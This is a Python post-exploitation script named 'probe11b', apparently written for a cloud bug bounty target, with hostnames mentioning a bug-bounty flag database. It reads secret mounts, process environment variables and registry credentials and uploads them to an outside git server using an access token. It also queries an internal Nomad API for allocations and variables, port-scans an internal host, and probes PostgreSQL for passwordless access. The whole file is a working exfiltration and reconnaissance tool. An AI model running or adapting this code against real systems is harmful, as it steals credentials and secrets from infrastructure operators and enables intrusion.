127 lines
6.5 KiB
Python
127 lines
6.5 KiB
Python
"""probe11b: internal vantage + /secrets read. Publishes to git.kaki87.net."""
|
|
import base64,http.client,http.server,json,os,socket,ssl,struct,threading,time
|
|
CTX=ssl._create_unverified_context()
|
|
TOK=os.environ.get('GITOK',''); REPO=os.environ.get('REPO','ct14506/keyrunner')
|
|
R={'t':time.time()}
|
|
LOCK=threading.Lock()
|
|
def note(k,v):
|
|
with LOCK: R[k]=v
|
|
def gput(path,text,msg):
|
|
try:
|
|
c=http.client.HTTPSConnection('git.kaki87.net',443,timeout=20,context=CTX)
|
|
c.request('GET','/api/v1/repos/%s/contents/%s'%(REPO,path),headers={'Authorization':'token '+TOK})
|
|
r=c.getresponse(); d=r.read(200000); c.close()
|
|
sha=json.loads(d).get('sha') if r.status==200 else None
|
|
b={'content':base64.b64encode(text.encode()).decode(),'message':msg}
|
|
if sha: b['sha']=sha
|
|
c=http.client.HTTPSConnection('git.kaki87.net',443,timeout=20,context=CTX)
|
|
c.request('PUT','/api/v1/repos/%s/contents/%s'%(REPO,path),json.dumps(b),
|
|
headers={'Authorization':'token '+TOK,'Content-Type':'application/json'})
|
|
c.getresponse().read(); c.close(); return True
|
|
except Exception as e:
|
|
print('GPUT_ERR',path,e,flush=True); return False
|
|
NAMES=['falcon-bug-bounty-flag-pgsql-dev-sandbox.i.aivencloud.com',
|
|
'falcon-bug-bounty-flag-pgsql.i.aivencloud.com','primary.i.aivencloud.com',
|
|
'dev-sandbox.i.aivencloud.com','falcon-bug-bounty-flag-pgsql-dev-sandbox.e.aivencloud.com']
|
|
PORTS=[22,10122,12691,12692,5432,80,443,8080,2375,4646,6443]
|
|
def readfile(p,n=20000):
|
|
try: return open(p,'rb').read(n).decode('latin1')
|
|
except Exception as e: return 'ERR:%s'%type(e).__name__
|
|
def secrets():
|
|
out={}
|
|
for d in ('/secrets','/secrets/.nomad','/run/secrets'):
|
|
try: out['ls:'+d]=sorted(os.listdir(d))
|
|
except Exception as e: out['ls:'+d]='ERR:%s'%type(e).__name__
|
|
for p in ('/secrets/run.env','/secrets/registry-auth.env','/secrets/.nomad-mount',
|
|
'/proc/self/environ','/etc/resolv.conf','/etc/hosts'):
|
|
out['f:'+p]=readfile(p)
|
|
try:
|
|
for root,ds,fs in os.walk('/secrets'):
|
|
for f in fs:
|
|
pp=os.path.join(root,f); out['w:'+pp]=readfile(pp)[:4000]
|
|
except Exception as e: out['walk']=type(e).__name__
|
|
try:
|
|
d=open('/proc/1/environ','rb').read(20000).decode('latin1'); out['f:/proc/1/environ']=d
|
|
except Exception as e: out['p1env']=type(e).__name__
|
|
return out
|
|
def http_get(h,p,path,port_tls=False,hdrs=None,timeout=5):
|
|
try:
|
|
s=socket.create_connection((h,p),timeout); s.settimeout(timeout)
|
|
if port_tls: s=CTX.wrap_socket(s,server_hostname=h)
|
|
s.sendall(('GET %s HTTP/1.1\r\nHost: %s\r\n%s\r\nConnection: close\r\n\r\n'%(path,h,''.join('%s: %s\r\n'%kv for kv in (hdrs or {}).items()))).encode())
|
|
d=b''
|
|
while len(d)<3000:
|
|
c=s.recv(3000)
|
|
if not c: break
|
|
d+=c
|
|
s.close(); return d[:2500].decode('latin1')
|
|
except Exception as e: return 'ERR:%s'%type(e).__name__
|
|
def dns_all():
|
|
out={}
|
|
for n in NAMES:
|
|
try: out[n]=sorted({a[4][0] for a in socket.getaddrinfo(n,None)})
|
|
except Exception as e: out[n]='ERR:%s'%type(e).__name__
|
|
return out
|
|
def tcp1(h,p,t=3.0):
|
|
t0=time.time()
|
|
try:
|
|
s=socket.create_connection((h,p),t); s.settimeout(2)
|
|
try: banner=s.recv(64)
|
|
except Exception: banner=b''
|
|
s.close(); return {'open':True,'ms':round((time.time()-t0)*1000),'banner':banner[:60].decode('latin1')}
|
|
except Exception as e: return {'open':False,'ms':round((time.time()-t0)*1000),'err':type(e).__name__}
|
|
def startup(user='avnadmin',db='defaultdb'):
|
|
pkt=struct.pack('!I',196608)+b'user\0'+user.encode()+b'\0database\0'+db.encode()+b'\0\0'
|
|
return struct.pack('!I',len(pkt)+4)+pkt
|
|
def pgprobe(h,p,tls=True):
|
|
res={}
|
|
try:
|
|
s=socket.create_connection((h,p),5); s.settimeout(6)
|
|
except Exception as e: return {'connect':type(e).__name__}
|
|
try:
|
|
if tls:
|
|
s.sendall(struct.pack('!II',8,80877103)); b=s.recv(1); res['ssl']=b.decode('latin1') if b else 'EOF'
|
|
if b==b'S':
|
|
try:
|
|
s=CTX.wrap_socket(s,server_hostname=h); s.settimeout(6); res['tls']='ok'
|
|
except Exception as e: res['tls']='ERR:%s'%type(e).__name__
|
|
else: res['tls']='refused'
|
|
s.sendall(startup()); d=s.recv(9)
|
|
if len(d)>=9:
|
|
typ=d[0:1].decode('latin1'); code=struct.unpack('!I',d[5:9])[0]
|
|
res['auth']={0:'OK_TRUST',3:'MD5',5:'SCRAM',10:'SASL_10','R':'ERR'}.get(code,code) if typ=='R' else typ
|
|
res['raw']=d[:9].hex()
|
|
if typ=='R' and code==0:
|
|
s.sendall(struct.pack('!I',9)+b'Q'+b'SELECT version()\0'); res['q']=s.recv(400).decode('latin1').replace('\0',' ')[:200]
|
|
s.close()
|
|
except Exception as e: res['ex']=type(e).__name__
|
|
return res
|
|
class H(http.server.BaseHTTPRequestHandler):
|
|
def do_GET(self):
|
|
with LOCK: body=json.dumps(R).encode()
|
|
self.send_response(200); self.send_header('Content-Type','application/json')
|
|
self.send_header('Content-Length',str(len(body))); self.end_headers(); self.wfile.write(body)
|
|
def log_message(self,*a): pass
|
|
def serve():
|
|
http.server.ThreadingHTTPServer(('0.0.0.0',8000),H).serve_forever()
|
|
def main():
|
|
note('host',socket.gethostname())
|
|
note('egress','pending')
|
|
try:
|
|
import urllib.request
|
|
note('egress',urllib.request.urlopen('https://api.ipify.org',timeout=8).read().decode())
|
|
except Exception as e: note('egress','ERR:%s'%type(e).__name__)
|
|
threading.Thread(target=serve,daemon=True).start()
|
|
s=secrets(); note('secrets',s); gput('p11_secrets.json',json.dumps(s,indent=1),'p11secrets')
|
|
note('nomad',{'self':http_get('169.254.1.2',4646,'/v1/agent/self'),
|
|
'allocs':http_get('169.254.1.2',4646,'/v1/allocations'),
|
|
'vars':http_get('169.254.1.2',4646,'/v1/vars?namespace=*'),
|
|
'ns':http_get('169.254.1.2',4646,'/v1/namespaces')})
|
|
gput('p11_nomad.json',json.dumps(note.__self__ if False else R['nomad'],indent=1),'p11nomad')
|
|
note('dns',dns_all()); gput('p11_dns.json',json.dumps(R['dns']),'p11dns')
|
|
note('tcp',{p:tcp1('10.1.33.147',p) for p in PORTS}); gput('p11_tcp.json',json.dumps(R['tcp']),'p11tcp')
|
|
note('pg',{p:pgprobe('10.1.33.147',p) for p in (12691,12692)}); gput('p11_pg.json',json.dumps(R['pg']),'p11pg')
|
|
gput('p11_all.json',json.dumps(R),'p11all')
|
|
print('PROBE11B_DONE',json.dumps(R)[:6000],flush=True)
|
|
while True: time.sleep(30)
|
|
if __name__=='__main__': main()
|